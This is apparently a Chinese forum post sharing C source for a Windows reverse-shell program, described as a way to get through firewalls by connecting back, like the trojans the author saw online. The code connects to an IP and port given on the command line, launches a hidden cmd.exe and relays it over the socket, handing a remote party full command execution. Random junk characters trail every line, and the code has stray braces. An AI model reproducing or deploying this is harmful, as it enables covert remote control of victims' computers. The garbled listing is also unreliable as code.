这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2&(sa0*y
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/* ============================== aw $L$7b}
Rebound port in Windows NT %:C ]7gQ
By wind,2006/7 r64u31.)
===============================*/ !
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#include Yx d X#3
#include C*70;:b
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#pragma comment(lib,"wsock32.lib") C*6S@4k
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void OutputShell(); ./-JbW
SOCKET sClient; }ynT2a#LU'
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; J{"kw1Lu
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void main(int argc,char **argv) .w?
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{ <eN R8(P
WSADATA stWsaData; 2ef;NC.&n
int nRet; [bQj,PZ&
SOCKADDR_IN stSaiClient,stSaiServer; in%;Eqk
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if(argc != 3) Wa"(m*hW
{ irBDGT~
printf("Useage:\n\rRebound DestIP DestPort\n"); g^>#^rLU
return; v Y|!
} GR4?BuY,
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WSAStartup(MAKEWORD(2,2),&stWsaData); |FR3w0o
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VDEv>u4
} /^C|iS7
stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); >um!Eo
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); V L( <
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +FFG#6e
{ Zf*r2t1&P
printf("Bind Socket Failed!\n"); 7YIK9edP
return; ':
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} D$k8^Vs
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stSaiServer.sin_family = AF_INET; !|wzf+V
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rx~[Zs+*
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); yYJY;".H
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) y7u^zH6wj
{ ENh8kD
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printf("Connect Error!"); ]n1dp2aH
return; mPZGA\
} c$E)P$<j
OutputShell(); ,lN5,zI=S
} !4#"!Md4o
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void OutputShell() QOFvsJ<s
{ `vk0c
char szBuff[1024]; | FM
}
SECURITY_ATTRIBUTES stSecurityAttributes; *U7%|wd
OSVERSIONINFO stOsversionInfo; cL7g}$W$
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; pJpNO$$w
STARTUPINFO stStartupInfo; }6zbT-i
char *szShell; [2Mbk~
PROCESS_INFORMATION stProcessInformation; .#6MQJ]OH
unsigned long lBytesRead; |cbd6e{!
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); N_wp{4 0/
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %n?vJ#aX%
stSecurityAttributes.lpSecurityDescriptor = 0; ~4 #B'Gy[
stSecurityAttributes.bInheritHandle = TRUE; |WqOk~)[Z3
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); m9$:9yRm
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3fS}:!sQ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Y>6.t"?Q^
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C*~aSl7
stStartupInfo.wShowWindow = SW_HIDE; mB 55PYA
stStartupInfo.hStdInput = hReadPipe; j+ ::y) $
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r#876.JK
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GetVersionEx(&stOsversionInfo); _2Zp1h,
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switch(stOsversionInfo.dwPlatformId) '&yg{n
{ v"6 \=@
case 1: *YV
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szShell = "command.com"; :-+4:S
break; 4*H"Z(HP
default: I<\
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szShell = "cmd.exe"; _^!vCa7f
break; oVO.@M#
} NP
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); I44s(G1jl
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send(sClient,szMsg,77,0); {[OwMk
while(1) D_D,t8_Y
{ vs9?+3
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); UZxmhsv
if(lBytesRead) r|Zi3+
{ wT_^'i*@I
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gQVBA %
send(sClient,szBuff,lBytesRead,0); C7"HQQ
} n~r 9!m$<
else SG]K
{ =:7$/T'Qg
lBytesRead=recv(sClient,szBuff,1024,0); \_ow9vU
if(lBytesRead<=0) break; @z,*K_AKr
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %efGt6&
} 4('JwZw\!
} sg?@qc=g
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return; =4NqjSH
}